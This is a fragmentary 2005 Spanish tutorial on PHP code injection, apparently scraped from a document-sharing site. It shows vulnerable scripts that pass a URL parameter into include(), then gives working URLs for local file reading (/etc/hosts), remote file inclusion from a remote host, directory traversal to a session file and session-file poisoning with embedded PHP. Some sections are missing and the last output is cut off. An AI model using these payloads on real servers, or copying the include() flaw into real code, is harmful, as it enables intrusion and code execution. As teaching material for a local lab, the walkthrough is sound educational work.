Professional Documents
Culture Documents
CóDIGO EN
APLICACIONES
PHP
Autor: Iñaki Rodriguez (2005)
(mra@euskalnet.net)
0 - Introducción
Toda aplicación que pretenda estar bien programada, requiere que sea
estructurada en diferentes componentes. Estos componentes suelen estar
divididos en ficheros, así por ejemplo, una aplicación puede separar la parte de
tratamiento de sql en un fichero, la parte de presentación de los datos en otro y la
lógica de la aplicación en un tercero. Normalmente, la aplicación llamará a estos
ficheros para importar sus funciones, objetos, clases,...
<?
include("http://remotehost/file.inc");
?>
Esto descarga la página y la evalúa. Aquí hay que tener presente que para
ser evaluada como código php, la página debe devolverse con los tags de php,
por lo tanto si el servidor remoto gestiona los ficheros con extensión php como
código php, tendréis que cambiar la extensión para que se devuelva sin
interpretar para que nuestro servidor sea el que interprete ese código.
3 - Lectura de ficheros
inyec1.php
<?
//Comprobamos si hemos añadido la variable file
(http://localhost/inyec1.php?file=algo)
if($_GET["file"]) {
echo $_GET["file"];
} else {
echo "Nada";
}
?>
</i><p>
<pre>
<?
include($_GET["file"]);
?>
</pre>
http://localhost/inyec1.php?file=/etc/hosts
Como veréis lo que muestra es el fichero hosts del sistema en texto plano.
También es posible ejecutar código php. Copiad el siguiente código:
inyec1.inc
Y en el navegador escribimos:
http://localhost/inyec1.php?file=inyec1.inc
http://localhost/inyec1.php?file=http://remotehost/inyec1.inc
Este es uno de los métodos que usaremos para inyectar código php dentro
de la aplicación. La función descarga el fichero del servidor remoto e interpreta el
texto independientemente de la extensión. Por lo tanto, ¿el código php se
ejecutaría en nuestros servidor o en el servidor remoto? Teóricamente en el
nuestro... pero no. Como he dicho antes, php interpreta el texto, por lo tanto hace
falta que el archivo contenga los tags de apertura y cierre de php (<? ?>). Así, si
el otro servidor tiene asociada la extensión .php, nosotros solo veríamos el código
interpretado por el servidor remoto. Para que el invento funcione, el fichero
debería tener una extensión que no fuera interpretada por el servidor remoto, por
ejemplo htm, txt, csv, etc. Cambiadle la extensión al fichero inyec1.inc.php a .txt
y veréis.
inyec2.php
<?
//Comprobamos si hemos añadido la variable file
(http://localhost/inyec1.php?file=algo)
if($_GET["file"]) {
echo $_GET["file"];
} else {
echo "Nada";
}
?>
</i><p>
<pre>
<?
include(“/var/www/vulnerable”.$_GET["file"]);
?>
</pre>
<?
if($_GET["id_user"]) {
$_SESSION["id_user"]=$_GET["id_user"];
} else { $_SESSION["id_user"]="0"; }
if($_GET["md5pass"]) {
$_SESSION["md5pass"]=$_GET["md5pass"];
} else { $_SESSION["md5pass"]=md5("anonymous"); }
?>
</i><p>
<pre>
Su ID de sesión es <i> <?echo $_COOKIE["PHPSESSID"]; ?> <br>
Variables: <p>
<li>id_user: <b> <?echo $_GET["id_user"];?></B>
<li>md5pass:<b> <?echo $_GET["md5pass"];?></b>
<br>
<li> Fichero:
<?
if($_GET["file"]) {
echo $_GET["file"].”<p>;
include("/var/www/vulnerable".$_GET["file"]);
} else { echo "Ninguno"; }
?>
</pre>
Bien, vamos a ver como funciona este script. Primero inicia la sesión
(session_start). Esto nos da un PHPSESSID nuevo si no estuviera iniciada. Después
comprueba si se les pasan parámetros a través de la url (método GET). En
concreto le interesan los parámetros id_user y md5pass. En caso de que así sea,
los almacena como variables de sesión. Por ultimo, muestra la información que le
hemos pasado y opcionalmente, un fichero que podemos incluir mediante el
parámetro file de la url. Este es un ejemplo:
http://localhost/vulnerable/inyec3.php?id_user=99&md5pass=mipass
Veremos algo como esto:
Variables:
id_user: 99
md5pass: mipass
Fichero:
Ninguno
Ahora vamos a ver de que manera php almacena las variables de sesión por
defecto. Vamos a intentar inyectar el fichero donde almacena la variable de
session. Depende de la distribución se almacena en un sitio y otro. En mi caso
(Debian Sarge) se guardan en /var/lib/php4 aunque suelen estar en /tmp. El
fichero por defecto tiene el nombre sess_iddesesion donde iddesesion es la
variable PHPSESSID que nos envía el servidor:
http://localhost/vulnerable/inyec3.php?id_user=99&md5pass=mipass&file=../../../.
./../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246
Hemos tenido que especificar la ruta usando los .. para ir bajando de nivel,
puesto que el script nos añadía /var/www/vulnerable al nombre del fichero que le
pasamos como variable file :
Variables:
id_user: 99
md5pass: mipass
Fichero:
../../../../../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246
id_user|s:2:"99";md5pass|s:6:"mipass";
Ahora vamos a inyectar código aprovechando que las variables que se
pasan al script las almacena en ese fichero:
http://localhost/vulnerable/inyec3.php?id_user=99&md5pass=<?phpinfo();?
>&file=../../../../../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246
Y el resultado es:
Variables:
id_user: 99
md5pass:
Fichero:
../../../../../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246
id_user|s:2:"99";md5pass|s:14:"
6 – Créditos